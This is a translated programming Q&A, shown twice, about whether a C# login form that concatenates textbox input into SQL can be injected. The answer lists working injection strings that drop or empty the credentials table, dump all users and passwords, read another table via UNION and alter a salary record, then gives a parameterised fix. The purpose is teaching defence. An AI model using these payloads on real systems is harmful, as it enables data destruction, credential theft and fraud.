如何暴露糟糕代码的弱点
How to expose the weakness of bad code
嗨,我被反复告知不要在我的 sql 代码中使用 concatenation 因为害怕 sql 注入攻击。但是我已经尝试破解我自己的代码没有成功。甚至可以通过 window 形式 来 sql-inject 吗?
请在下面找到相关代码:
SqlConnection con = new SqlConnection(
"Data Source=PV10\LOCALSERVER;Initial Catalog=dbtest;Integrated Security=True");
con.Open();
SqlCommand cmd = new SqlCommand(
"select * from Creds where Username= '" +
textBox1.Text +
"' and Password='" +
textBox2.Text +
"'",
con);
SqlDataReader dr;
dr = cmd.ExecuteReader();
while(dr.Read())
{
...
}
可以做很多伟大的事情:
析构:将*' or 1 = 1; drop table Creds --
放入textBox1.Text
,查询为
select * from Creds where Username= '*' or 1 = 1;
drop table Creds -- and Password=''
您有两个个查询;第二个掉落 creds
table
删除:将*' or 1 = 1; delete from Creds --
放入textBox1.Text
,查询将是
select * from Creds where Username= '*' or 1 = 1;
delete from Creds -- and Password=''
您有两个个查询;第二个清除 creds
table
Espionage:将' /*
放入textBox1.Text
,将*/ or '*' = '*
放入textBox2.Text
,查询结果为
select * from Creds where Username= ' ' /* and Password= '*/ or '*' = '*'
此查询 returns 所有用户及其密码。启动 monitor/sniffer 并读取返回的值。您想要其他 table 的一些数据吗?就放
' union all select SecretField, TopSecretField from Secrets --
进入 textBox2.Text
你会得到
select * from Creds where Username= '' and password = ''
union all
select SecretField, TopSecretField from Secrets --'
Hack:你能看到一条记录"Big boss","Top secret password"吗?是时候用这个登录了
username/password 然后放
*' or 1 = 1; update Creds set salary = 1000000 /*be modest*/ where userName = 'PoorLittleMe'--
变成 textBox1.Text
查询将是
select * from Creds where Username= '*' or 1 = 1;
update Creds set salary = 1000000 /*be modest*/ where userName = 'PoorLittleMe' -- and Password=''
同样,您有两个查询,很容易猜出第二个查询的作用;那你可能想买一张去阿根廷的机票。
技巧:注册自己为d'Artagnan
;这样的名字在查询时是完全正确的
select * from Creds where Username= 'd'Artagnan' and Password='mypassword'
将导致 语法错误 (而且很可能 资源泄漏 - 你没有包装 IDisposable
- Connection
, Command
, Reader
变成 using
)
终于,应该怎么做:
// wrap IDisposable into using
// do not hardcode the connection string
using (SqlConnection con = new SqlConnection(/*read the connection string here*/)) {
con.Open();
// Make Sql being readable
// You don't want at least Username field to be returned (you have in textBox1.Text)
string sql =
@"select Permissions, --TODO: put right fields here
Status
from Creds
where PasswordHash = @prm_PasswordHash and -- do not store password as plain text
Username = @prm_UserName";
// wrap IDisposable into using
using (SqlCommand cmd = new SqlCommand(sql, con)) {
// do not store password as a plain text, but as a hash
//TODO: AddWithValue is not the best choice; put actual parameters' types here
cmd.Parameters.AddWithValue("@prm_PasswordHash", ComputeHash(textBox2.Text));
cmd.Parameters.AddWithValue("@prm_UserName", textBox1.Text);
using (dr = cmd.ExecuteReader()) {
while (dr.Read()) {
...
}
}
}
}
嗨,我被反复告知不要在我的 sql 代码中使用 concatenation 因为害怕 sql 注入攻击。但是我已经尝试破解我自己的代码没有成功。甚至可以通过 window 形式 来 sql-inject 吗? 请在下面找到相关代码:
SqlConnection con = new SqlConnection(
"Data Source=PV10\LOCALSERVER;Initial Catalog=dbtest;Integrated Security=True");
con.Open();
SqlCommand cmd = new SqlCommand(
"select * from Creds where Username= '" +
textBox1.Text +
"' and Password='" +
textBox2.Text +
"'",
con);
SqlDataReader dr;
dr = cmd.ExecuteReader();
while(dr.Read())
{
...
}
可以做很多伟大的事情:
析构:将*' or 1 = 1; drop table Creds --
放入textBox1.Text
,查询为
select * from Creds where Username= '*' or 1 = 1;
drop table Creds -- and Password=''
您有两个个查询;第二个掉落 creds
table
删除:将*' or 1 = 1; delete from Creds --
放入textBox1.Text
,查询将是
select * from Creds where Username= '*' or 1 = 1;
delete from Creds -- and Password=''
您有两个个查询;第二个清除 creds
table
Espionage:将' /*
放入textBox1.Text
,将*/ or '*' = '*
放入textBox2.Text
,查询结果为
select * from Creds where Username= ' ' /* and Password= '*/ or '*' = '*'
此查询 returns 所有用户及其密码。启动 monitor/sniffer 并读取返回的值。您想要其他 table 的一些数据吗?就放
' union all select SecretField, TopSecretField from Secrets --
进入 textBox2.Text
你会得到
select * from Creds where Username= '' and password = ''
union all
select SecretField, TopSecretField from Secrets --'
Hack:你能看到一条记录"Big boss","Top secret password"吗?是时候用这个登录了
username/password 然后放
*' or 1 = 1; update Creds set salary = 1000000 /*be modest*/ where userName = 'PoorLittleMe'--
变成 textBox1.Text
查询将是
select * from Creds where Username= '*' or 1 = 1;
update Creds set salary = 1000000 /*be modest*/ where userName = 'PoorLittleMe' -- and Password=''
同样,您有两个查询,很容易猜出第二个查询的作用;那你可能想买一张去阿根廷的机票。
技巧:注册自己为d'Artagnan
;这样的名字在查询时是完全正确的
select * from Creds where Username= 'd'Artagnan' and Password='mypassword'
将导致 语法错误 (而且很可能 资源泄漏 - 你没有包装 IDisposable
- Connection
, Command
, Reader
变成 using
)
终于,应该怎么做:
// wrap IDisposable into using
// do not hardcode the connection string
using (SqlConnection con = new SqlConnection(/*read the connection string here*/)) {
con.Open();
// Make Sql being readable
// You don't want at least Username field to be returned (you have in textBox1.Text)
string sql =
@"select Permissions, --TODO: put right fields here
Status
from Creds
where PasswordHash = @prm_PasswordHash and -- do not store password as plain text
Username = @prm_UserName";
// wrap IDisposable into using
using (SqlCommand cmd = new SqlCommand(sql, con)) {
// do not store password as a plain text, but as a hash
//TODO: AddWithValue is not the best choice; put actual parameters' types here
cmd.Parameters.AddWithValue("@prm_PasswordHash", ComputeHash(textBox2.Text));
cmd.Parameters.AddWithValue("@prm_UserName", textBox1.Text);
using (dr = cmd.ExecuteReader()) {
while (dr.Read()) {
...
}
}
}
}